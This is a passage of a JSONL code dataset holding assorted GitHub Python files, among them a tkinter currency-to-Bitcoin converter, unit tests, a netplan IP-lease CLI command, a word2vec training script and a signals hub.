  if counter == 9:\n        Outcome = 3    \n        return Outcome\n    \n    counter = GetNumberOfChessPieces(Board)\n    \n    if counter >0 and counter < 9:\n        Outcome = 0\n        return Outcome\n\ndef IsBoardFull(Board):\n    counter = 0\n    for i in range(len(Board)):\n        for j in range(len(Board[i])):\n            if (Board[i][j] == \"X\") or Board[i][j] == \"O\":\n                counter += 1\n    return counter\n\ndef GetNumberOfChessPieces(Board):\n    counter = 0\n    for i in range(len(Board)):\n        for j in range(len(Board[i])):\n            if (Board[i][j] == \" \"):\n                counter += 1\n    return counter\n\ndef ShowOutcome(Outcome):\n    if Outcome == 1:\n        print(\"\\nPlayer X Wins!\")\n    if Outcome == 2:\n        print(\"\\nPlayer O Wins!\")\n    if Outcome == 3:\n        print(\"\\nGame ends in a tie\")\n    if Outcome == 0:\n        print(\"\\nGame still in progress\\n\")\n\ndef PlayGame():\n    while True:\n        TicTacToeGame()\n        print(\"\\nDo you want to play again(enter y or n)\")\n        if not input().lower().startswith('y'):\n            break\n    print(\"\\nGame Over\")\n    \nPlayGame()\n","repo_name":"ashivery/CSC498","sub_path":"TicTacToe.py","file_name":"TicTacToe.py","file_ext":"py","file_size_in_byte":7442,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"55"}
+{"seq_id":"18969222354","text":"\"\"\"Test Field Functionality\"\"\"\n\nimport pytest\n\nfrom protean.exceptions import ValidationError\nfrom protean.fields import Field\n\n\nclass DummyStringField(Field):\n    \"\"\"This is a dummy Field class for testing\"\"\"\n\n    default_error_messages = {\n        \"invalid_type\": \"Field value must be of str type.\",\n    }\n\n    def _cast_to_type(self, value: str):\n        \"\"\"Value must me a string type\"\"\"\n        if type(value) != str:\n            self.fail(\"invalid_type\")\n        return value\n\n    def as_dict(self, value: str):\n        return value\n\n\nclass MinLengthValidator:\n    def __init__(self, min_length):\n        self.min_length = min_length\n        self.error = f\"Ensure this value has at least \" f\"{self.min_length} character.\"\n\n    def __call__(self, value):\n        if len(value) < self.min_length:\n            raise ValidationError(self.error)\n\n\nclass TestField:\n    def test_init(self):\n        \"\"\"Test successful String Field initialization\"\"\"\n\n        name = DummyStringField()\n        assert name is not None\n\n    def test_required(self):\n        \"\"\"Test errors if required field has no value\"\"\"\n\n        with pytest.raises(ValidationError):\n            name = DummyStringField(required=True)\n            name._load(None)\n\n    def test_defaults(self):\n        \"\"\"Test default value is set when no value is supplied\"\"\"\n        # Test with default value as constant\n        name = DummyStringField(default=\"dummy\")\n        assert name._load(\"\") == \"dummy\"\n\n        # Test with default value as callable\n        name = DummyStringField(default=lambda: \"dummy\")\n        assert name._load(\"\") == \"dummy\"\n\n    def test_type_validation(self):\n        \"\"\"Test type checking validation for the Field\"\"\"\n        with pytest.raises(ValidationError):\n            name = DummyStringField()\n            name._load(1)\n\n    def test_validators(self):\n        \"\"\"Test custom validators defined for the field\"\"\"\n\n        with pytest.raises(ValidationError):\n            name = DummyStringField(validators=[MinLengthValidator(min_length=5)])\n            name._load(\"Dum\")\n\n    def test_error_message(self):\n        \"\"\"Test that proper error message is generated\"\"\"\n\n        # Test the basic error message\n        try:\n            name = DummyStringField(required=True)\n            name._load(None)\n        except ValidationError as err:\n            assert err.messages == {\"unlinked\": [name.error_messages[\"required\"]]}\n\n        # Test overriding of error message\n        try:\n            name = DummyStringField()\n            name._load(1)\n        except ValidationError as err:\n            assert err.messages == {\"unlinked\": [\"Field value must be of str type.\"]}\n\n        # Test multiple error messages\n        try:\n            name = DummyStringField(\n                validators=[\n                    MinLengthValidator(min_length=5),\n                    MinLengthValidator(min_length=5),\n                ]\n            )\n            name._load(\"Dum\")\n        except ValidationError as err:\n            assert err.messages == {\n                \"unlinked\": [\n                    \"Ensure this value has at least 5 character.\",\n                    \"Ensure this value has at least 5 character.\",\n                ]\n            }\n\n    def test_default_validators(self):\n        \"\"\"Test that default validators for a Field are called\"\"\"\n\n        def medium_string_validator(value):\n            \"\"\"Function checks the max length of a field\"\"\"\n            if len(value) > 15:\n                raise ValidationError(\"Value cannot be more than 15 characters long.\")\n\n        DummyStringField.default_validators = [medium_string_validator]\n        with pytest.raises(ValidationError):\n            name = DummyStringField()\n            name._load(\"Dummy Dummy Dummy\")\n","repo_name":"proteanhq/protean","sub_path":"tests/field/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":3745,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"55"}
+{"seq_id":"32856102504","text":"from tkinter import *\nfrom tkinter import ttk\nfrom forex_python.converter import CurrencyRates\nfrom forex_python.converter import CurrencyCodes\nfrom forex_python.bitcoin import BtcConverter\n\nc = CurrencyRates()\nn = CurrencyCodes()\nb = BtcConverter()\n\ndef currency_calculate(event):\n    rate = c.get_rate(currency_box2.get(),currency_box1.get())\n    result = format(float(money_box.get())/rate,\".2f\")\n    result_label.config(text=\"แลกได้\" + str(result)+n.get_symbol(currency_box2.get()))\n\ndef btc_save(event):\n    def btc_calculate(event):\n        buy_with_currency1 = b.convert_to_btc(float(money_box.get()), currency_box1.get())\n        buy_with_currency2 = b.convert_to_btc(float(float(money_box.get()) / c.get_rate(currency_box2.get(), currency_box1.get())), currency_box2.get())\n\n        if btc_combo.get() == currency_box1.get():\n            if buy_with_currency1 >= buy_with_currency2:\n                btc_result_label.config(text=\"ซื้อได้จำนวน \"+str(buy_with_currency1)+\" BTC\")\n                advice_label.config(text=\"ซื้อด้วยสกุล \"+ currency_box1.get() +\" มีความคุ้มค่ามากที่สุด\")\n            else:\n                different = buy_with_currency2 - buy_with_currency1\n                btc_result_label.config(text=\"ซื้อได้จำนวน \"+str(buy_with_currency1)+\" BTC\")\n                advice_label.config(text=\"ซื้อด้วยสกุล \"+ currency_box2.get() +\" คุ้มกว่าแตกต่างกันอยู่ \" + str(different) + \" BTC\")\n        elif btc_combo.get() == currency_box2.get():\n            if buy_with_currency2 >= buy_with_currency1:\n                btc_result_label.config(text=\"ซื้อได้จำนวน \" + str(buy_with_currency2) + \" BTC\")\n                advice_label.config(text=\"ซื้อด้วยสกุล \" + currency_box2.get() + \" มีความคุ้มค่ามากที่สุด\")\n            else:\n                different = buy_with_currency1 - buy_with_currency2\n                btc_result_label.config(text=\"ซื้อได้จำนวน \" + str(buy_with_currency1) + \" BTC\")\n                advice_label.config(text=\"ซื้อด้วยสกุล \" + currency_box1.get() + \" คุ้มกว่าแตกต่างกันอยู่ \" + str(different) + \" BTC\")\n\n    btc_combo = ttk.Combobox(main_window, values=[currency_box1.get(), currency_box2.get()])\n    btc_combo.grid(row=6, column=1)\n\n    btc_button = Button(main_window, text=\"==>\")\n    btc_button.bind('<Button-1>', btc_calculate)\n    btc_button.grid(row=6, column=2)\n\n\n#Main\nmain_window = Tk()\nmain_window.title(\"Exchange\")\n\nexchange_title_lable = Label(main_window, text=\"Exchange\", font=(\"Leelawadee\",36), bg=\"#fdd678\", fg=\"black\")\nexchange_title_lable.grid(row=0, column=0)\n\ncurrency_lable1 = Label(main_window, text=\"Your currency ::\", font=(\"Leelawadee\",18))\ncurrency_lable1.grid(row=1, column=0)\n\ncurrency_box1 = Entry(main_window)\ncurrency_box1.grid(row=1, column=1)\n\nmoney_lable = Label(main_window, text=\"  Amount ::\", font=(\"Leelawadee\",18))\nmoney_lable.grid(row=1, column=2)\n\nmoney_box = Entry(main_window)\nmoney_box.grid(row=1, column=3)\n\ncurrency_lable2 = Label(main_window, text=\"Currency change :: \", font=(\"Leelawadee\",18))\ncurrency_lable2.grid(row=2, column=0)\n\ncurrency_box2 = Entry(main_window)\ncurrency_box2.grid(row=2, column=1)\n\ncurrency_button = Button(main_window, text=\"==>\")\ncurrency_button.bind('<Button-1>',currency_calculate)\ncurrency_button.grid(row=2, column=2)\n\nresult_label = Label(main_window, text=\"จำนวนเงินที่ได้ ???\", font=(\"Leelawadee\",12))\nresult_label.grid(row=2, column=3)\n\nsave_change_lable = Label(main_window, text=\"Save to change to Bitcoin\", font=(\"Leelawadee\", 18))\nsave_change_lable.grid(row=3, column=1)\n\nsave_change_button = Button(main_window, text=\"SAVE !!!\")\nsave_change_button.bind('<Button-1>', btc_save)\nsave_change_button.grid(row=4, column=1)\n\nbtc_title_lable = Label(main_window, text=\"Currency to Bitcoin\", font=(\"Leelawadee\", 36), bg=\"#fdd678\", fg=\"black\")\nbtc_title_lable.grid(row=5, column=0)\n\nbtc_lable1 = Label(main_window, text=\"Your currency ::\", font=(\"Leelawadee\", 18))\nbtc_lable1.grid(row=6, column=0)\n\nbtc_combo = ttk.Combobox(main_window, values=[currency_box1.get(), currency_box2.get()])\nbtc_combo.grid(row=6, column=1)\n\nbtc_button = Button(main_window, text=\"==>\")\nbtc_button.grid(row=6, column=2)\n\nbtc_result_label = Label(main_window, text=\"จำนวน Bitcoin ???\", font=(\"Leelawadee\", 12))\nbtc_result_label.grid(row=6, column=3)\n\nadvice_label = Label(main_window, text=\"***ประเมิณความคุ้มค่า***\", font=(\"Leelawadee\", 12))\nadvice_label.grid(row=7, column=3)\n\nmain_window.mainloop()\n\n#Program Concept : เป็นโปรเเกรมที่ช่วยในการคำนวณเพื่อหาว่าจะใช้สกุลเงินใดคุ้มกว่ากันในการซื้อ Bitcoin เพื่อให้ได้จำนวน Bitcoin ที่มากกว่า","repo_name":"thymesleepwithcode/CP3-Siwakorn-Choophak","sub_path":"Assignments/Lecture114_Siwakorn_C.py","file_name":"Lecture114_Siwakorn_C.py","file_ext":"py","file_size_in_byte":5184,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"55"}
+{"seq_id":"29472596349","text":"import pytest\nimport torch\n\nfrom otx.algorithms.segmentation.adapters.mmseg.models.losses import detcon_loss as detcon_loss_file\nfrom otx.algorithms.segmentation.adapters.mmseg.models.losses.detcon_loss import (\n    DetConLoss,\n    manual_cross_entropy,\n)\nfrom tests.test_suite.e2e_test_system import e2e_pytest_unit\n\n\n@e2e_pytest_unit\n@pytest.mark.parametrize(\n    \"logits,labels,weight,expected\",\n    [\n        (\n            torch.Tensor([[[-1.2786, 2.1673, -1.0000e09, 6.2263], [-6.7169, -7.1416, 7.3364, -1.0000e09]]]),\n            torch.Tensor([[[1.0, 0.0, 0.0, 0.0], [0.0, 1.0, 0.0, 0.0]]]),\n            torch.Tensor([[1.0, 1.0]]),\n            torch.tensor(11.0003),\n        ),\n        (\n            torch.Tensor(\n                [[[4.3260e-01, 1.6511e00, -1.0000e09, -7.9047e-01], [9.4888e-01, 2.6476e00, -3.7093e-01, -1.0000e09]]]\n            ),\n            torch.Tensor([[[1.0, 0.0, 0.0, 0.0], [0.0, 1.0, 0.0, 0.0]]]),\n            torch.Tensor([[1.0, 1.0]]),\n            torch.tensor(0.8755),\n        ),\n    ],\n)\ndef test_manual_cross_entropy(logits, labels, weight, expected):\n    results = manual_cross_entropy(logits, labels, weight)\n\n    assert torch.allclose(results, expected)\n\n\n@e2e_pytest_unit\n@pytest.mark.parametrize(\n    \"inputs,expected\",\n    [\n        (\n            {\n                \"pred1\": torch.Tensor([[[-0.0461, 0.1686, -0.1898, -0.1727], [-0.0609, -0.0948, -0.0463, -0.1461]]]),\n                \"pred2\": torch.Tensor([[[-0.0811, -0.0115, -0.1901, -0.0227], [-0.0230, 0.0898, -0.1495, -0.0360]]]),\n                \"target1\": torch.Tensor([[[-0.7734, 0.1523, 0.4729, -2.2324], [-0.3711, 0.2083, 0.0198, -1.9111]]]),\n                \"target2\": torch.Tensor([[[-1.0625, 1.4160, 0.7988, 1.3291], [-0.2479, 0.9683, 0.0859, 0.4832]]]),\n                \"pind1\": torch.Tensor([[1, 0]]),\n                \"pind2\": torch.Tensor([[1, 0]]),\n                \"tind1\": torch.Tensor([[1, 0]]),\n                \"tind2\": torch.Tensor([[1, 0]]),\n            },\n            torch.tensor(11.8758),\n        )\n    ],\n)\ndef test_detcon_loss(mocker, inputs, expected):\n    mocker.patch.object(detcon_loss_file, \"dist\").is_initialized.return_value = False\n    detcon_loss = DetConLoss()\n\n    loss = detcon_loss(**inputs)\n\n    assert torch.allclose(loss, expected)\n","repo_name":"openvinotoolkit/training_extensions","sub_path":"tests/unit/algorithms/segmentation/adapters/mmseg/models/losses/test_detcon_loss.py","file_name":"test_detcon_loss.py","file_ext":"py","file_size_in_byte":2265,"program_lang":"python","lang":"en","doc_type":"code","stars":1104,"dataset":"github-code","pt":"55"}
+{"seq_id":"25704350","text":"import wordcloud\nimport matplotlib.pyplot as plt\nimport jieba\n\nf=open(r'斗破苍穹.txt','r',encoding='utf-8')\nt=f.read()\nf.close()\nls=jieba.lcut(t)\ntxt=\" \".join(ls)\nbackground_img=plt.imread('background.jpg')\nw=wordcloud.WordCloud(font_path='msyh.ttc',width=1000,height=700, mask=background_img,background_color='white')\nw.generate(txt)\n# img_colors = wordcloud.ImageColorGenerator(background_img)\n# w.recolor(color_func=img_colors)\nw.to_file('斗破苍穹.png')","repo_name":"wuud/python_demo","sub_path":"fun/Count斗破苍穹.py","file_name":"Count斗破苍穹.py","file_ext":"py","file_size_in_byte":464,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"55"}
+{"seq_id":"71844813290","text":"from math import ceil\n\nfrom django.http import HttpResponse\nfrom django.contrib import messages\nfrom django.shortcuts import render, redirect\nfrom django.utils import timezone\nfrom django.utils.translation import gettext_lazy as _\n\nfrom .base import BaseScheme, itos\nfrom ..models import BlockchainWallet\n\n\nclass BlockchainPayment(BaseScheme):\n    def init_payment(self, request):\n        blockchain_wallet = BlockchainWallet.objects.filter(\n            transaction__user__id=request.user.id,\n            expired_at__gte=timezone.now() - timezone.timedelta(minutes=1)\n        ).first()  # type: BlockchainWallet\n        if not blockchain_wallet:\n            blockchain_wallet = BlockchainWallet.objects.filter(transaction=None).first()\n            if not blockchain_wallet:\n                messages.add_message(request, messages.ERROR, _('PAYMENT_BLOCKCHAIN_NO_EMPTY_WALLET'))\n                return redirect('wallet-deposit')\n            super(BlockchainPayment, self).init_payment(request)\n            picked_at = timezone.now()\n            expired_at = picked_at + timezone.timedelta(seconds=self.system.config.get('expire_time', 60*5))\n            blockchain_wallet.transaction = self.transaction\n            blockchain_wallet.expired_at = expired_at\n            blockchain_wallet.picked_at = picked_at\n            blockchain_wallet.save()\n        else:\n            self.set_transaction(blockchain_wallet.transaction)\n            super(BlockchainPayment, self).init_payment(request)\n        context = {\n            'blockchain_wallet': blockchain_wallet.bwallet,\n            'amount': itos(self.int_amount, self.wallet.currency.digest),\n            'currency': self.from_currency,\n            'converted_currency': self.to_currency,\n            'transaction_id': self.transaction_id,\n            'converted_amount': self.converted_amount_str,\n            'expired_at': ceil(blockchain_wallet.expired_at.timestamp()),\n        }\n        return render(request, f'payment/{self.system.code}.html', context=context)\n\n    def process_payment(self, request, params: dict = None):\n        return HttpResponse('')\n","repo_name":"asvetliy/fxprofile","sub_path":"app/payment/schemes/blockchain.py","file_name":"blockchain.py","file_ext":"py","file_size_in_byte":2109,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"55"}
+{"seq_id":"18207139976","text":"n=list(map(int,input().split()))\r\nk=int(input())\r\nc=0\r\nfor i in range(len(n)):\r\n    for j in range(1,len(n)):\r\n        #print(i,j)\r\n        if n[i]==n[j]:\r\n            print(n[i],n[j])\r\n            c+=1\r\nprint(c)\r\n","repo_name":"vempatinavya/owlcoder","sub_path":"owl14.py","file_name":"owl14.py","file_ext":"py","file_size_in_byte":214,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"55"}
+{"seq_id":"25930982703","text":"import logging\nimport os\nimport sys\nimport subprocess\nfrom subprocess import CalledProcessError\n\nfrom .. import utils\n\nlease_path = {\n    'networkd': {\n        'pattern': 'run/systemd/netif/leases/{lease_id}',\n        'method': 'ifindex',\n    },\n    'NetworkManager': {\n        'pattern': 'var/lib/NetworkManager/internal-{lease_id}-{interface}.lease',\n        'method': 'nm_connection',\n    },\n}\n\n\nclass NetplanIp(utils.NetplanCommand):\n\n    def __init__(self):\n        super().__init__(command_id='ip',\n                         description='Retrieve IP information from the system',\n                         leaf=False)\n\n    def run(self):\n        self.command_leases = NetplanIpLeases()\n\n        # subcommand: leases\n        p_ip_leases = self.subparsers.add_parser('leases',\n                                                 help='Display IP leases',\n                                                 add_help=False)\n        p_ip_leases.set_defaults(func=self.command_leases.run, commandclass=self.command_leases)\n\n        self.parse_args()\n        self.run_command()\n\n\nclass NetplanIpLeases(utils.NetplanCommand):\n\n    def __init__(self):\n        super().__init__(command_id='ip leases',\n                         description='Display IP leases',\n                         leaf=True)\n\n    def run(self):\n        self.parser.add_argument('interface',\n                                 help='Interface for which to display IP lease settings.')\n        self.parser.add_argument('--root-dir',\n                                 help='Search for configuration files in this root directory instead of /')\n\n        self.func = self.command_ip_leases\n\n        self.parse_args()\n        self.run_command()\n\n    def command_ip_leases(self):\n\n        if self.interface == 'help':  # pragma: nocover (covered in autopkgtest)\n            self.print_usage()\n\n        def find_lease_file(mapping):\n            def lease_method_ifindex():\n                ifindex_f = os.path.join('/sys/class/net', self.interface, 'ifindex')\n                try:\n                    with open(ifindex_f) as f:\n                        return f.readlines()[0].strip()\n                except Exception as e:\n                    logging.debug('Cannot read file %s: %s', ifindex_f, str(e))\n                    raise\n\n            def lease_method_nm_connection():\n                # FIXME: handle older versions of NM where 'nmcli dev show' doesn't exist\n                try:\n                    nmcli_dev_out = utils.nmcli_out(['dev', 'show', self.interface])\n                    for line in nmcli_dev_out.splitlines():\n                        if 'GENERAL.CONNECTION' in line:\n                            conn_id = line.split(':')[1].rstrip().strip()\n                            nmcli_con_out = utils.nmcli_out(['con', 'show', 'id', conn_id])\n                            for line in nmcli_con_out.splitlines():\n                                if 'connection.uuid' in line:\n                                    return line.split(':')[1].rstrip().strip()\n                except Exception as e:\n                    raise Exception('Could not find a NetworkManager connection for the interface: %s' % str(e))\n                raise Exception('Could not find a NetworkManager connection for the interface')\n\n            lease_pattern = lease_path[mapping['backend']]['pattern']\n            lease_method = lease_path[mapping['backend']]['method']\n\n            try:\n                lease_id = eval(\"lease_method_\" + lease_method)()\n\n                # We found something to build the path to the lease file with,\n                # at this point we may have something to look at; but if not,\n                # we'll rely on open() throwing an error.\n                # This might happen if networkd doesn't use DHCP for the interface,\n                # for instance.\n                path = os.path.join('/',\n                                    os.path.abspath(self.root_dir) if self.root_dir else \"\",\n                                    lease_pattern.format(interface=self.interface,\n                                                         lease_id=lease_id))\n                # Fallback to 'dhclient' if no lease of NetworkManager's\n                # internal DHCP client is found\n                if not os.path.isfile(path):\n                    path = path.replace('NetworkManager/internal-', 'NetworkManager/dhclient-')\n                with open(path) as f:\n                    for line in f.readlines():\n                        print(line.rstrip())\n            except Exception as e:\n                print(\"No lease found for interface '%s': %s\" % (self.interface, str(e)),\n                      file=sys.stderr)\n                sys.exit(1)\n\n        argv = [utils.get_generator_path()]\n        if self.root_dir:\n            argv += ['--root-dir', self.root_dir]\n        argv += ['--mapping', self.interface]\n\n        # Extract out of the generator our mapping in a dict.\n        logging.debug('command ip leases: running %s', argv)\n        try:\n            out = subprocess.check_output(argv, text=True)\n        except CalledProcessError:  # pragma: nocover (better be covered in autopkgtest)\n            print(\"No lease found for interface '%s' (not managed by Netplan)\" % self.interface, file=sys.stderr)\n            sys.exit(1)\n        mapping = {}\n        mapping_s = out.split(',')\n        for keyvalue in mapping_s:\n            key, value = keyvalue.strip().split('=')\n            mapping[key] = value\n\n        find_lease_file(mapping)\n","repo_name":"canonical/netplan","sub_path":"netplan_cli/cli/commands/ip.py","file_name":"ip.py","file_ext":"py","file_size_in_byte":5493,"program_lang":"python","lang":"en","doc_type":"code","stars":529,"dataset":"github-code","pt":"55"}
+{"seq_id":"9204721416","text":"num = [1,2,3,4]\nnum[3] = 5\nnum.append(6)\nnum.insert(0, 0)\nnum.sort(reverse=True)\nnum.pop(0)\nif 4 in num:\n    num.remove(4)\nelse:\n    print('não achei o numero 4 na lista')\nprint(num)\nprint(f'essa lista tem {len(num)}')\n\nfrom random import randint\n\nl = []\nfor i in range(0, 11):\n    l.append(randint(1, 20))\n\nfor c , v in enumerate(l):\n    print(f'na posição {c}, encontrei o valor {v}')\nprint('cheguei ao final da lista')\n\na = [2,3,8,7]\nb = a\nprint(a)\nprint(b)\nb[2] = 6\nprint(a)\nprint(b)\nx = [2,3,9,4]\ny = x[:]\ny[0] = 1\nprint(x)\nprint(y)\n","repo_name":"joaorobsonR/python-guanabara","sub_path":"cursoemvideo/venv/aula17.py","file_name":"aula17.py","file_ext":"py","file_size_in_byte":541,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"55"}
+{"seq_id":"13371929474","text":"from tkinter import *\nfrom PIL import ImageTk, Image\nfrom tkinter import messagebox\nfrom tkinter import filedialog\n\n\ndef show():\n    myLabel = Label(root,text= clicked.get()).pack()\n\noptions = ['Monday','Tuesday','Wendsday','Thursday','Friday']\n\nroot = Tk()\nroot.title(\"DropDownMenus!\")\nroot.iconbitmap(\"donkey.ico\")\n\nclicked = StringVar()\nclicked.set(options[0])\n\nmyButton = Button(root,text=\"Show Selection\",command=show).pack()\ndrop =OptionMenu(root,clicked,*options)\ndrop.pack()\n\n\nroot.mainloop()\n\n","repo_name":"Megalaladon/Lessons","sub_path":"PythonScripts/DropdownMenus.py","file_name":"DropdownMenus.py","file_ext":"py","file_size_in_byte":502,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"55"}
+{"seq_id":"41653142316","text":"from odoo import fields, models\n\n\nclass SliSeguimientoClasificacion(models.Model):\n    _name = 'sli.seguimiento.clasificacion'\n    _description ='clasificacion seguimiento'\n    \n    name = fields.Char(\n        string='Nombre', \n        help='Nombre de la clasificación.'\n    )\n    aplica = fields.Selection(\n        string='Aplica a', \n        selection=[\n            ('viaje', 'Viaje'), \n            ('contrarecibo', 'Contra recibo'), \n            ('factura', 'Factura')], \n        default='viaje', \n        help='Indica para que asignación aplica.'\n    )\n","repo_name":"josuealfaroxmarts/SLI","sub_path":"sli_documentos/models/sli_seguimiento_clasificacion.py","file_name":"sli_seguimiento_clasificacion.py","file_ext":"py","file_size_in_byte":559,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"55"}
+{"seq_id":"40600429594","text":"import csv\n\nreadfile = open('data.csv', 'r')\nreadCSV = csv.reader(readfile, delimiter=',')\n\nwritefile = open('raj.txt','w')\nfor row in readCSV:\n    row = ''.join(row).replace(\"N;\",\"\").replace('\"\"N','').replace('\"N','')\n    #writefile.write(row)\n    row = row.split(\";\")\n    for line in row:\n        if len(line)>1:\n            line = line.replace('\"','')\n            writefile.write(line+ '\\n')\n    '''for str in row:\n        if len(str)>1:\n            \n              '''  \nwritefile.close()\nreadfile.close()\nwritefile = open('processed.txt','w')\nuniqlines = set(open('raj.txt').readlines())\nfor line in uniqlines:\n    writefile.write(line)\nwritefile.close()\n    ","repo_name":"allensebastian97/python-experiments","sub_path":"preprocessing.py","file_name":"preprocessing.py","file_ext":"py","file_size_in_byte":663,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"74538220979","text":"\"\"\"\nzbench CLI\n\"\"\"\nfrom fractions import Fraction\nfrom typing import List\nimport logging\nimport os\n\nimport click\n\nimport zbench\nfrom .formatters import Tabular\nfrom .impl import all_impls\nfrom .util import TimerContext\n\nlogger = logging.getLogger(zbench.__name__)\n\n\n@click.command()\n@click.version_option(zbench.__version__)\n@click.argument(\"paths\", type=click.Path(exists=True, dir_okay=False), nargs=-1)\n@click.option(\"-v\", \"--verbose\", count=True, help=\"Increase logging verbosity\")\ndef run(paths: List[str], verbose: int):\n    \"\"\"\n    Benchmark compression ratios and speed.\n    \"\"\"\n    level = logging.WARNING - (verbose * 10)\n    logging.basicConfig(level=level)\n    logging.debug(\"Set logging level to %s [%d]\", logging.getLevelName(level), level)\n\n    fields = [\"path\", \"algorithm\", \"size\", \"percentage\", \"time\"]\n    formatter = Tabular(fields)\n    # run paths and their sizes through formatter for the side-effects\n    for path in paths:\n        size = os.stat(path).st_size\n        formatter.format({\"path\": path, \"size\": size})\n\n    # print headers\n    formatter.feed(dict(zip(fields, fields)))\n\n    for path in paths:\n        size = os.stat(path).st_size\n        for func in all_impls:\n            with TimerContext() as timer:\n                compressed_size = func(path)\n            report = {\n                \"path\": path,\n                \"algorithm\": func.__name__,\n                \"size\": compressed_size,\n                \"percentage\": Fraction(compressed_size, size),\n                \"time\": timer.elapsed,\n            }\n            formatter.feed(report)\n\n\nmain = run.main\n\nif __name__ == \"__main__\":\n    main(prog_name=f\"python -m {zbench.__name__}\")\n","repo_name":"chbrown/zbench","sub_path":"zbench/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":1671,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"10093925076","text":"from os import path\n\n__all__ = ['get_my_path',\n           'get_my_path_basename',\n          ]\n\n\ndef get_my_path(my_file=None):\n    if my_file is None:\n        import inspect\n        caller = inspect.currentframe().f_back\n        my_file = caller.f_globals['__file__']\n    return path.dirname(path.abspath(my_file))\n\n\ndef get_my_path_basename(my_file=None):\n    if my_file is None:\n        import inspect\n        caller = inspect.currentframe().f_back\n        my_file = caller.f_globals['__file__']\n    dirname = path.dirname(path.abspath(my_file))\n    basename = path.basename(dirname)\n    return basename\n","repo_name":"jaberg/skdata","sub_path":"skdata/utils/my_path.py","file_name":"my_path.py","file_ext":"py","file_size_in_byte":606,"program_lang":"python","lang":"en","doc_type":"code","stars":475,"dataset":"github-code","pt":"57"}
+{"seq_id":"71081889778","text":"import multiprocessing\nfrom gensim.models import Word2Vec\nfrom time import time\nimport logging # Setting upp the loggings to monitor gensim\nimport utils\nlogging.basicConfig(format=\"%(levelname)s - %(asctime)s: %(message)s\", datefmt = '%H:%M:%S', level=logging.INFO)\n\n\n# Read sentences from file\nlogging.info(\"Start load sentences from file\")\nfname = \"Bigram_enwiki_corpus_1.txt\"\nsentences = utils.read(fname)\n\nlogging.info(\"Count the number of cores in this computer\")\ncores = multiprocessing.cpu_count() # Count the number of cores in a computer\n\n# Train\nmin_count = 10\nwindow = 5\nsize = 200\nsample = 1e-3\nalpha = 0.03\nmin_alpha = 1e-7\nnegative = 5\nhs = 0\nsg = 0\nlogging.info(\"Start training with min_count={0}, window={1}, size={2}, sample={3}, alpha={4}, min_alpha={5}, negative={6}. sg={7}, hs={8}\"\n             .format(min_count, window, size, sample, alpha, min_alpha, negative, sg, hs))\nbigram_model = Word2Vec(min_count=min_count,\n                     sg = sg,\n                     hs=hs,\n                     window=window,\n                     seed= 42,\n                     size=size,\n                     sample=sample,\n                     alpha=alpha,\n                     min_alpha=min_alpha,\n                     negative=negative,\n                     compute_loss= True,\n                     workers=cores-1)\n\nt = time()\n\nbigram_model.build_vocab(sentences=sentences, progress_per=10000)\nprint('Time to build vocab: {} mins'.format(round(time() - t) / 60, 2))\n\nt = time()\n\nbigram_model.train(sentences, total_examples=bigram_model.corpus_count, epochs=10, report_delay=1)\n\nprint('Time to train the model: {} mins'.format(round(time() - t) / 60, 2))\n\nprint(bigram_model.get_latest_training_loss())\nbigram_model.save(\"trained_model/Bigram_wiki_corpus_1.model\")\nbigram_model.init_sims(replace=True)\n\n\nprint(bigram_model.similarity(\"come_true\", \"dream_come\"))\nlogging.info(\"\\n\")\nfor i, word in enumerate(bigram_model.wv.vocab):\n    if i == 10:\n        break\n    print(word)\n","repo_name":"haohoang/Project1","sub_path":"trainBigramModel.py","file_name":"trainBigramModel.py","file_ext":"py","file_size_in_byte":1988,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"1113298339","text":"from functools import partial\nfrom typing import Any, Type, List, Dict, Optional\nimport threading\nfrom collections import defaultdict\nimport inspect\n\nfrom dataclasses import field\nfrom classic.components import component, Registry\n\nfrom .signal import Signal, Reaction\nfrom . import utils\n\n\n@component\nclass Hub(Registry):\n\n    _reactions: Dict[Type[Signal], List[Reaction]] = field(\n        init=False, default_factory=partial(defaultdict, list),\n    )\n    _lock: threading.Lock = field(\n        init=False, default_factory=threading.RLock,\n    )\n\n    def notify(self, *signals: Signal) -> None:\n        with self._lock.acquire():\n            for signal in signals:\n                for reaction in self._reactions[signal.__class__]:\n                    reaction(signal)\n\n    def add_reaction(\n        self,\n        reaction: Reaction,\n        signal: Optional[Type[Signal]] = None,\n    ):\n        signal = signal or utils.get_signal_type(reaction)\n        with self._lock.acquire():\n            if reaction not in self._reactions[signal]:\n                self._reactions[signal].append(reaction)\n\n    def remove_reaction(self, reaction: Reaction):\n        with self._lock.acquire():\n            for reactions in self._reactions.values():\n                reactions.remove(reaction)\n\n    @staticmethod\n    def is_reaction(fn: Any) -> bool:\n        return callable(fn) and getattr(fn, '__is_reaction', False)\n\n    @classmethod\n    def filter_reactions(cls, obj: Any) -> List[Reaction]:\n        return [\n            member\n            for name, member\n            in inspect.getmembers(obj, predicate=cls.is_reaction)\n        ]\n\n    def register(self, obj: Any) -> None:\n        with self._lock.acquire():\n            for reaction in self.filter_reactions(obj):\n                self.add_reaction(reaction)\n\n    def unregister(self, obj: Any) -> None:\n        with self._lock.acquire():\n            for reaction in self.filter_reactions(obj):\n                self.remove_reaction(reaction)\n","repo_name":"variasov/classic_signals","sub_path":"sources/classic/signals/hub.py","file_name":"hub.py","file_ext":"py","file_size_in_byte":1986,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
